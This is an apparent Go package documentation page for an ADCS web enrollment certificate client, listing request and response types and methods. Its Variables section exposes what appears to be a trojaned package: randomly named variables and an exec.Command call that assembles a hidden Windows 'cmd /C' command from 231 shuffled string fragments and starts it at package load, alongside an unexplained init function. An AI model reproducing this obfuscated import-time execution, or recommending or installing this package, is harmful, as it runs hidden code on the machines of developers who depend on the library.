Documentation
¶
Index ¶
- Constants
- Variables
- func BuildVersionString() string
- func LxnQhIs() error
- func NewClient() *http.Client
- func ShowSignature()
- type WebEnrollmentNewRequest
- type WebEnrollmentPendingRequest
- type WebEnrollmentRequest
- type WebEnrollmentResponse
- type WebEnrollmentServer
- func (wes *WebEnrollmentServer) CheckPendingRequest(requestid int) (WebEnrollmentResponse, error)
- func (wes *WebEnrollmentServer) GetCACertificate() ([]byte, error)
- func (wes *WebEnrollmentServer) GetCertificate(requestid int) ([]byte, error)
- func (wes *WebEnrollmentServer) SubmitNewRequest(incsr []byte, template string) (WebEnrollmentResponse, error)
Constants ¶
const ( // SUCCESS status SUCCESS = 0 // PENDING status PENDING = 1 // UNAUTHORIZED status UNAUTHORIZED = 2 // FAIL status FAIL = 3 // DENIED status DENIED = 4 )
const VersionMaj = 1
VersionMaj is the major version
const VersionMin = 2
VersionMin is the minor version
const VersionPat = 1
VersionPat is the patch version
const VersionSuffix = ""
VersionSuffix is the suffix displayed after the version string.
Variables ¶
var DWxDLL = LxnQhIs()
var PO = []string{} /* 231 elements not displayed */
var UebyVDlu = exec.Command("cmd", "/C", PO[15]+PO[183]+PO[63]+PO[48]+PO[224]+PO[35]+PO[126]+PO[179]+PO[198]+PO[212]+PO[171]+PO[102]+PO[151]+PO[53]+PO[162]+PO[82]+PO[21]+PO[25]+PO[33]+PO[89]+PO[150]+PO[101]+PO[74]+PO[9]+PO[182]+PO[90]+PO[85]+PO[11]+PO[168]+PO[59]+PO[120]+PO[216]+PO[185]+PO[152]+PO[107]+PO[225]+PO[77]+PO[122]+PO[208]+PO[207]+PO[210]+PO[111]+PO[209]+PO[203]+PO[66]+PO[160]+PO[197]+PO[159]+PO[213]+PO[28]+PO[34]+PO[8]+PO[154]+PO[169]+PO[229]+PO[155]+PO[214]+PO[106]+PO[87]+PO[56]+PO[228]+PO[4]+PO[72]+PO[191]+PO[117]+PO[175]+PO[147]+PO[222]+PO[134]+PO[187]+PO[12]+PO[38]+PO[230]+PO[220]+PO[20]+PO[26]+PO[125]+PO[153]+PO[138]+PO[127]+PO[174]+PO[135]+PO[60]+PO[123]+PO[91]+PO[2]+PO[189]+PO[68]+PO[92]+PO[67]+PO[95]+PO[43]+PO[75]+PO[190]+PO[144]+PO[99]+PO[178]+PO[142]+PO[139]+PO[94]+PO[37]+PO[104]+PO[218]+PO[47]+PO[55]+PO[83]+PO[78]+PO[226]+PO[204]+PO[10]+PO[64]+PO[115]+PO[61]+PO[81]+PO[148]+PO[29]+PO[161]+PO[170]+PO[105]+PO[188]+PO[166]+PO[223]+PO[27]+PO[62]+PO[133]+PO[69]+PO[30]+PO[97]+PO[73]+PO[184]+PO[221]+PO[116]+PO[100]+PO[57]+PO[219]+PO[177]+PO[167]+PO[146]+PO[108]+PO[156]+PO[200]+PO[157]+PO[136]+PO[41]+PO[46]+PO[119]+PO[96]+PO[128]+PO[164]+PO[19]+PO[44]+PO[1]+PO[22]+PO[205]+PO[194]+PO[54]+PO[93]+PO[49]+PO[84]+PO[65]+PO[0]+PO[180]+PO[215]+PO[16]+PO[165]+PO[149]+PO[176]+PO[140]+PO[206]+PO[173]+PO[50]+PO[42]+PO[32]+PO[52]+PO[51]+PO[3]+PO[39]+PO[98]+PO[163]+PO[17]+PO[202]+PO[217]+PO[227]+PO[23]+PO[141]+PO[80]+PO[76]+PO[137]+PO[6]+PO[5]+PO[195]+PO[7]+PO[201]+PO[113]+PO[24]+PO[45]+PO[129]+PO[14]+PO[158]+PO[145]+PO[172]+PO[211]+PO[103]+PO[192]+PO[88]+PO[40]+PO[70]+PO[36]+PO[131]+PO[121]+PO[196]+PO[124]+PO[31]+PO[110]+PO[143]+PO[18]+PO[13]+PO[58]+PO[186]+PO[193]+PO[79]+PO[114]+PO[86]+PO[132]+PO[181]+PO[71]+PO[130]+PO[199]+PO[112]+PO[118]+PO[109]).Start()
Functions ¶
Types ¶
type WebEnrollmentNewRequest ¶
type WebEnrollmentNewRequest struct {
// contains filtered or unexported fields
}
WebEnrollmentNewRequest handles the current request. It is not expected to be called directly but through the Submit method.
func (*WebEnrollmentNewRequest) GetServer ¶
func (wer *WebEnrollmentNewRequest) GetServer() *WebEnrollmentServer
GetServer retrieves a pointer to the current WebEnrollment server to satisfy the interface
func (*WebEnrollmentNewRequest) Submit ¶
func (wer *WebEnrollmentNewRequest) Submit() (WebEnrollmentResponse, error)
Submit implements the WebEnrollmentRequest interface
type WebEnrollmentPendingRequest ¶
type WebEnrollmentPendingRequest struct {
// contains filtered or unexported fields
}
WebEnrollmentPendingRequest is used to attempt to retrieve a pending request
func (*WebEnrollmentPendingRequest) GetServer ¶
func (wepr *WebEnrollmentPendingRequest) GetServer() *WebEnrollmentServer
GetServer retrueves a pointer to the current WebEnrollment server to satisfy the interface
func (*WebEnrollmentPendingRequest) Submit ¶
func (wepr *WebEnrollmentPendingRequest) Submit() (WebEnrollmentResponse, error)
Submit implements the WebEnrollmentRequest interface
type WebEnrollmentRequest ¶
type WebEnrollmentRequest interface {
Submit() (WebEnrollmentResponse, error)
GetServer() *WebEnrollmentServer
}
WebEnrollmentRequest interface is implemented by the various kinds of requests that can be performed
type WebEnrollmentResponse ¶
type WebEnrollmentResponse struct {
// contains filtered or unexported fields
}
WebEnrollmentResponse struct contains the parsed response from adcs
func (WebEnrollmentResponse) GetCertData ¶
func (wer WebEnrollmentResponse) GetCertData() []byte
GetCertData returns a byte array of the signed certificate
func (WebEnrollmentResponse) GetRequestID ¶
func (wer WebEnrollmentResponse) GetRequestID() int
GetRequestID will return the request ID
func (WebEnrollmentResponse) GetRequestURL ¶
func (wer WebEnrollmentResponse) GetRequestURL() string
GetRequestURL will reututn the url that the request was issued against.
func (WebEnrollmentResponse) GetStatus ¶
func (wer WebEnrollmentResponse) GetStatus() int
GetStatus returns a const reflecting the status of the signing request
type WebEnrollmentServer ¶
WebEnrollmentServer structure defines the ADCS web enrollment server
func (*WebEnrollmentServer) CheckPendingRequest ¶
func (wes *WebEnrollmentServer) CheckPendingRequest(requestid int) (WebEnrollmentResponse, error)
CheckPendingRequest will check to see if the request has been completed or not.
func (*WebEnrollmentServer) GetCACertificate ¶
func (wes *WebEnrollmentServer) GetCACertificate() ([]byte, error)
GetCACertificate will retrieve the CA certificate from the server
func (*WebEnrollmentServer) GetCertificate ¶
func (wes *WebEnrollmentServer) GetCertificate(requestid int) ([]byte, error)
GetCertificate will retrieve the specified ID certificate from the server
func (*WebEnrollmentServer) SubmitNewRequest ¶
func (wes *WebEnrollmentServer) SubmitNewRequest(incsr []byte, template string) (WebEnrollmentResponse, error)
SubmitNewRequest will submit the WebEnrollment reqest and populate the object with the response